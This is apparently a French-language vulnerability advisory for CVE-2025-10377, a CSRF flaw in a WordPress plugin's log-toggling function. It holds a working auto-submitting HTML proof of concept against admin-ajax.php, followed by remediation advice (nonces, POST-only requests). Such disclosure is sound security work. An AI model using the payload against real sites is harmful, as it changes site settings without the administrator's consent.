nagisayumaa/cve-2025-10377CVE-2025-10377
Type de vulnérabilité : Cross-Site Request Forgery (CSRF)
Fonction affectée : sd_toggle_logs()
CVSS v3.1 : 4.3 (Moyen)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(Note : Le score reflète un changement d'état non autorisé nécessitant une victime administrateur et une interaction utilisateur.)
Description de la vulnérabilité :
La fonction sd_toggle_logs() traite des opérations sensibles telles que l'activation/désactivation des journaux d'accès aux pages, des journaux d'erreurs et des journaux de livraison d'e-mails. Cependant, elle repose uniquement sur le paramètre $_REQUEST['log_type'] et une vérification de capacité (current_user_can( 'manage_options' )) sans implémenter de protection CSRF (par exemple, check_admin_referer() ou un nonce).
En conséquence, un attaquant peut inciter un administrateur connecté à visiter une page malveillante qui soumet silencieusement une requête contrefaite, provoquant des changements involontaires d'activation/désactivation de la journalisation du site.
Changements d'état non autorisés pour les fonctionnalités de journalisation du site (journaux d'accès aux pages, journaux d'erreurs, journaux de livraison d'e-mails).
Si la journalisation des erreurs est activée, le site peut commencer à écrire les erreurs d'application dans un chemin de fichier déterminé par le plugin (augmentant les risques de divulgation d'informations opérationnelles via les journaux), mais l'impact direct de ce problème est le basculement d'état lui-même.
Lorsqu'un utilisateur connecté avec manage_options visite la page de l'attaquant, la fonctionnalité de journalisation correspondante est basculée sans consentement explicite.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Implémenter des nonces WordPress (check_admin_referer() ou wp_verify_nonce()) pour valider les requêtes.
Restreindre les actions sensibles aux requêtes POST uniquement.
Éviter de se fier uniquement aux vérifications de capacité pour la protection contre les CSRF.
Si vous ne parvenez pas à reproduire le problème exactement comme décrit dans le rapport, veuillez vous référer à la démonstration vidéo suivante (PoC) pour un scénario de reproduction clair :